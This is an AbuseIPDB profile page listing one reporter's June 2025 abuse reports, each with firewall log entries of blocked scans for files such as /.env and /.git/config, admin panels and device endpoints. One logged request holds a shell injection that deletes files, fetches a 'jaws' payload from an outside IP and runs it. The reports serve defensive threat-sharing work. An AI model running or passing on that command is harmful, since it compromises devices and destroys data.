AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User AF joined AbuseIPDB in April 2025 and has reported 3,755 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇺🇸 20.169.105.90	05 Jun 2025	Activity: Web Bot activity attempting to access development server Action: Blocked by firewall Acc ... show more Activity: Web Bot activity attempting to access development server Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:12:25:25 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 40.67.161.44	05 Jun 2025	Activity: Web Bot activity scanning for development server endpoints Action: Blocked by firewall A ... show more Activity: Web Bot activity scanning for development server endpoints Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:08:47:30 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇹🇷 78.181.239.211	05 Jun 2025	Activity: Attempted web shell or remote code execution Action: Blocked by firewall Access Log Entr ... show more Activity: Attempted web shell or remote code execution Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:14:29:19 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1" 400 150 "-" "-" "-" show less	Hacking
🇵🇹 85.138.40.104	05 Jun 2025	Activity: Attempted access to xmlrpc.php, potentially indicating a web app attack or probing for vul ... show more Activity: Attempted access to xmlrpc.php, potentially indicating a web app attack or probing for vulnerabilities Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:11:29:12 +0000] "POST /xmlrpc.php HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" "-" show less	Hacking
🇪🇸 88.1.214.185	05 Jun 2025	Activity: Attempted access to xmlrpc.php, potentially an exploit or attack attempt targeting web app ... show more Activity: Attempted access to xmlrpc.php, potentially an exploit or attack attempt targeting web application vulnerabilities Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:11:28:28 +0000] "POST /xmlrpc.php HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" "-" show less	Hacking
🇩🇪 104.248.245.46	05 Jun 2025	Activity: Normal web activity with potential port scanning attempts Action: Blocked by firewall Ac ... show more Activity: Normal web activity with potential port scanning attempts Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:06:30:09 +0000] "GET /odinhttpcall1749018609 HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:06:30:09 +0000] "POST /sdk HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:06:30:10 +0000] "GET /evox/about HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:06:30:10 +0000] "GET /HNAP1 HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:06:30:11 +0000] "GET / HTTP/1.1" 400 154 "-" "-" "-" show less	Port Scan
🇩🇪 138.68.64.77	05 Jun 2025	Activity: Attempted access to Solr admin interface, potentially probing for web application vulnerab ... show more Activity: Attempted access to Solr admin interface, potentially probing for web application vulnerabilities Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:04:32:50 +0000] "GET /solr/admin/info/system HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" • [04/Jun/2025:04:32:51 +0000] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" show less	Web App Attack
🇩🇪 139.59.144.216	05 Jun 2025	Activity: Web Application Attack (attempt to access /v2/_catalog endpoint) Action: Blocked by firew ... show more Activity: Web Application Attack (attempt to access /v2/_catalog endpoint) Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:06:30:11 +0000] "GET /v2/_catalog HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" show less	Web App Attack
🇺🇸 157.245.94.243	05 Jun 2025	Activity: Attempted access to sensitive configuration files indicating reconnaissance or probing act ... show more Activity: Attempted access to sensitive configuration files indicating reconnaissance or probing activity Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:11:37:08 +0000] "GET /.env HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" • [04/Jun/2025:11:37:08 +0000] "GET /.git/config HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" show less	Exploited Host
🇨🇦 165.22.238.131	05 Jun 2025	Activity: Normal browsing, port scanning, hacking attempts, exploited host activity Action: Blocked ... show more Activity: Normal browsing, port scanning, hacking attempts, exploited host activity Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:11:07:12 +0000] "x16x03x01x00ux01x00x00qx03x03x5CxEAx81<xBAxCCCxDFx10?x98oxD1x95xA1x13x84*x9BxxDDxB3-xEByx04x120" 400 150 "-" "-" "-" • [04/Jun/2025:11:07:12 +0000] "x16x03x01x00ux01x00x00qx03x03xE79'xFAxD6xBBx8CxB4a+3xB7x8AxEAexDCxAAx0Cfx94x04xAEuFx11xB0xB6xD2_x00x96xE2x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:11:07:13 +0000] "x16x03x01x00ux01x00x00qx03x03x1BxB6gxAE1vNxF6jx97x94x7Fx07xE5x854wxEBx96x83(xD3x02x19x95xB6xCBDxC6xAA7x8Fx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:11:07:13 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Port Scan Hacking Exploited Host
🇩🇪 167.99.245.85	05 Jun 2025	Activity: Web Application Attack (attempting to access /v2/_catalog, possibly Docker registry enumer ... show more Activity: Web Application Attack (attempting to access /v2/_catalog, possibly Docker registry enumeration) Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:04:32:50 +0000] "GET /v2/_catalog HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" show less	Web App Attack
🇺🇸 172.98.32.218	05 Jun 2025	Activity: Brute-force attempt or unauthorized access attempt Action: Blocked by firewall Access Lo ... show more Activity: Brute-force attempt or unauthorized access attempt Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:04:40:37 +0000] "POST / HTTP/1.1" 403 146 "-" "AnyConnect Windows 5.1.8.105" "-" show less	Brute-Force
🇩🇪 178.128.196.35	05 Jun 2025	Activity: Attempted SQL Injection via query parameter Action: Blocked by firewall Access Log Entri ... show more Activity: Attempted SQL Injection via query parameter Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:04:32:50 +0000] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" show less	SQL Injection
🇳🇱 196.251.70.53	05 Jun 2025	Activity: Attempted access to .git/config file, potentially probing for source code or configuration ... show more Activity: Attempted access to .git/config file, potentially probing for source code or configuration files Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:12:09:07 +0000] "GET /.git/config HTTP/1.1" 403 180 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-" • [04/Jun/2025:12:09:07 +0000] "GET /.git/config HTTP/1.1" 403 180 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-" show less	Exploited Host
🇳🇱 196.251.85.193	05 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web app attack ... show more Activity: Attempted access to environment configuration file, indicative of potential web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:07:16:41 +0000] "GET /.env HTTP/1.1" 403 180 "-" "Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Safari/537.36" "-" show less	SQL Injection
🇳🇱 196.251.116.157	05 Jun 2025	Activity: Attempted access to environment configuration file, potentially probing for vulnerabilitie ... show more Activity: Attempted access to environment configuration file, potentially probing for vulnerabilities Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:06:10:45 +0000] "GET /.env HTTP/1.1" 403 180 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-" show less	Web App Attack
🇩🇪 207.154.224.181	05 Jun 2025	Activity: Attempted web application attack (possibly SQL injection) on CGI script Action: Blocked b ... show more Activity: Attempted web application attack (possibly SQL injection) on CGI script Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:04:32:50 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" show less	SQL Injection
🇩🇪 207.154.248.118	05 Jun 2025	Activity: Port scanning, potential SQL injection attempts, and web bot activity Action: Blocked by ... show more Activity: Port scanning, potential SQL injection attempts, and web bot activity Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:04:32:48 +0000] "POST /sdk HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:04:32:48 +0000] "GET /odinhttpcall1749011568 HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:04:32:49 +0000] "GET /evox/about HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:04:32:49 +0000] "GET /HNAP1 HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:04:32:50 +0000] "GET / HTTP/1.1" 400 154 "-" "-" "-" show less	Port Scan SQL Injection Bad Web Bot
🇺🇸 40.124.185.25	05 Jun 2025	Activity: Web scanning or reconnaissance activity using zgrab Action: Blocked by firewall Access L ... show more Activity: Web scanning or reconnaissance activity using zgrab Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:22:18:39 +0000] "GET /version HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇩🇪 164.92.200.218	05 Jun 2025	Activity: Normal web activity, port scanning, and spoofing attempts Action: Blocked by firewall Ac ... show more Activity: Normal web activity, port scanning, and spoofing attempts Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:22:40:31 +0000] "GET /odinhttpcall1749076831 HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:22:40:31 +0000] "POST /sdk HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:22:40:31 +0000] "GET /HNAP1 HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [04/Jun/2025:22:40:31 +0000] "GET /evox/about HTTP/1.1" 400 150 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" show less	Port Scan Spoofing
🇺🇸 167.99.162.190	05 Jun 2025	Activity: Normal browsing, potential exploitation attempts, SSH activity Action: Blocked by firewal ... show more Activity: Normal browsing, potential exploitation attempts, SSH activity Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:23:04:44 +0000] "x16x03x01x00ux01x00x00qx03x03>x8FcxD26jcxE9xCAx04xBCx8Cx89ExA0xD7%--,x9Dax08x9Dx8BxB6x0Bx92xCFx8F@x12x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:23:04:44 +0000] "x16x03x01x00ux01x00x00qx03x03xD8xA3x1Fx04Y,RxCCExD6x18%23x8Fx8Fsx14zx1CxBBxED\|xA5xBCxD6xD3eoxB1xFBxE0x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:23:04:44 +0000] "x16x03x01x00ux01x00x00qx03x03&xA88xE1,:d>PxD5Ex99xFFx0FxA4M{xCELxF1xFCxD7xB3xFB?x5CxA0xCFx88x14 lx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [04/Jun/2025:23:04:44 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Exploited Host SSH
🇳🇱 196.251.70.216	05 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web app attack ... show more Activity: Attempted access to environment configuration file, indicative of potential web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:22:03:10 +0000] "GET /.env HTTP/1.1" 403 118 "-" "Mozilla/5.0 (PLAYSTATION 3; 2.00)" "-" show less	SQL Injection
🇩🇪 207.154.220.158	05 Jun 2025	Activity: Port scanning attempts and potential SQL injection probes Action: Blocked by firewall Ac ... show more Activity: Port scanning attempts and potential SQL injection probes Action: Blocked by firewall Access Log Entries: • [04/Jun/2025:22:40:33 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 400 154 "http://<host_IP>:80/cgi-bin/authLogin.cgi" "Go-http-client/1.1" "-" • [04/Jun/2025:22:40:33 +0000] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 400 154 "http://<host_IP>:80/query?q=SHOW+DIAGNOSTICS" "Go-http-client/1.1" "-" show less	Port Scan SQL Injection
🇺🇸 13.86.105.19	04 Jun 2025	Activity: Web Bot activity attempting to scan or probe the server Action: Blocked by firewall Acce ... show more Activity: Web Bot activity attempting to scan or probe the server Action: Blocked by firewall Access Log Entries: • [03/Jun/2025:00:47:32 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.84.152.142	04 Jun 2025	Activity: Attempted SSH protocol version exchange, indicating a potential SSH scan or attack Action ... show more Activity: Attempted SSH protocol version exchange, indicating a potential SSH scan or attack Action: Blocked by firewall Access Log Entries: • [03/Jun/2025:12:37:55 +0000] "SSH-2.0-Go" 400 150 "-" "-" "-" show less	SSH